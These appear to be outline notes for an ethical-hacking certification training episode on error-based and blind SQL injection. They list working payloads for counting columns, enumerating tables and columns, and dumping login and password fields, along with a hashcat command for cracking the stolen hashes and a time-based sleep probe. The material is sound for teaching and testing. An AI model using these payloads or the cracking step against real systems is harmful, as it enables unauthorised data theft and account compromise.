- Filename: eccouncil-ceh31250-v10-15-2-1-sql_injection_types.md
- Show Name: CEHv10 (312-50)
- Topic Name: SQL Injection
- Episode Name: SQL Injection Types
- Description: In this episode, Daniel and Zach dig a bit further into SQL Injection attacks. Here they look at a few of the common types of SQL Injections; specifically Error-based and Blind SQLi. They will demonstrate error-based SQLi to enumerate the database tables and column information leading to sensitive data disclosure and then employ blind SQLi techniques which allow you to work without errors to achieve the same goal.

==========

SQL Injection Types

- **Is this the only way to do this, or are there other types of SQL Injection attacks?**
    - Types
        - Error-based
            - Testing for injection
                - The single-quote (`'`) is your friend
            - ORDER BY
                - `iron' order by 1 --`
                    - Increase the number by 1 until you receive an error
                        - Now you know how many columns
            - UNION ALL SELECT
                - `iron' union all select 1,2,3,4,5,6,7 --`
                    - You can now see where usable areas are
                        - They will be selected for output fields
                            - `iron' union all select 1,user(),3,4,@@version,6,7 --`
                - TABLE enum
                    - `...1,table_name,3,4,5,6,7 FROM information_schema.tables --`
                - COLUMN enum
                    - `...1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_name='users' --`
                - Read COLUMN info
                    - `...1,login,3,4,password,6,7 FROM users --`
                        - Save creds to file
                        - Check hash type with *hash-identifier* and crack with hashcat
                            - `hashcat -m 100 -a 0 nixPass.txt /usr/share/wordlists/rockou.txt --force`
- **What if we don't get any errors to help up with our injections?**
    - Blind
        - Boolean
            - Try passing a TRUE statement (`' or 1=1 --`)

        - If the command executes correctly then you know you're injecting SQL
    - Try passing a FALSE statement (`' or 1=2 --`)
- Time-based
- Try using the sleep function
    - `'-sleep(1) --`
        - If site hangs, SQLi is possible